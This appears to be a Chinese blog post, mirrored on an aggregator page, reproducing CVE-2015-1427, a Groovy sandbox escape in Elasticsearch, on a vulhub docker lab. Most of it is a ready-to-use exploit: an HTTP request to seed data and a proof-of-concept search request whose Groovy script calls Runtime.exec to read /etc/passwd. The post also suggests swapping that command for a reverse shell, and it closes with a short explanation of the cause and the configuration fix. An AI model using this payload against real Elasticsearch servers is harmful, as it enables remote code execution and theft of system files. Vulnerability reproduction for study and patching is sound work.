zoukankan      html  css  js  c++  java
  • 漏洞复现-CVE-2015-1427-Groovy远程代码执行

     
     
     

    0x00 实验环境

    攻击机:Win 10

    靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

    0x01 影响版本

    Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 

    0x02 漏洞复现

    简介:ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞

    该版本存在漏洞风险!!!

    与上一篇代码执行一样,这次的执行方式也是,需要首先使用ElasticSearch的目录创建数据,创建成功将如下图所示:

    POST /website/blog/ HTTP/1.1
    Host: yourIP:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 27
    
    {
      "name": "hello1"
    }

     然后直接使用POC进行代码执行:

    POST http://target:9200/_search?pretty 
    {"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName("java.io.BufferedReader").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName("java.io.InputStreamReader").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("cat /etc/passwd").getInputStream())).readLines()","lang": "groovy"}}}

     POST的方式提交,可以修改cat etc/passwd命令为其他反弹shell的命令,具体可以参考上一篇命令执行文章。

    0x03 实验原理

    参考:https://www.cnblogs.com/sxmcACM/p/4435842.html

    2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Java代码,后来脚本语言引擎换成了Groovy,并且加入了沙盒进行控制,危险的代码会被拦截,结果这次由于沙盒限制的不严格,导致远程代码执行。修复:修改elasticseach.yml的 script.groovy.sandbox.enabled false

  • 相关阅读:
    MYSQL DDL语句
    Centos-610-Jenkins-CI系列开篇
    Centos610-FastDFS系列篇
    Oracle内存调整办法
    IIS网站安全控制
    在Docker里面安装oracle11R2
    在Centos7.*里面安装MSSQL
    在Docker上安装MSSQL
    Centos6.*安装新版Nginx1.19.5支持众多新功能
    Centos6.*同步系统时间
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14434200.html
Copyright © 2011-2022 走看看